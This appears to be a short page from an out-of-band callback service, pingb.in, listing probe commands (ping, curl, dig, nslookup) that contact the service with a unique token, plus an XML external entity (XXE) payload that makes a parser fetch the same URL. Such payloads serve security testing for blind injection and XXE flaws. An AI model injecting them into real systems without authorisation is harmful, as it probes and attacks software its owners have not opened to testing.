$ ping -c1 -p 00b1b9c2ae7cabd064b43d75c1fedb00 pingb.in
 

$ curl pingb.in/p/b1b9c2ae7cabd064b43d75c1fedb
 

$ dig b1b9c2ae7cabd064b43d75c1fedb @pingb.in
 

$ dig b1b9c2ae7cabd064b43d75c1fedb.ns.pingb.in
 

C:\> nslookup b1b9c2ae7cabd064b43d75c1fedb pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/b1b9c2ae7cabd064b43d75c1fedb">]>
    <foo>&xxe;</foo>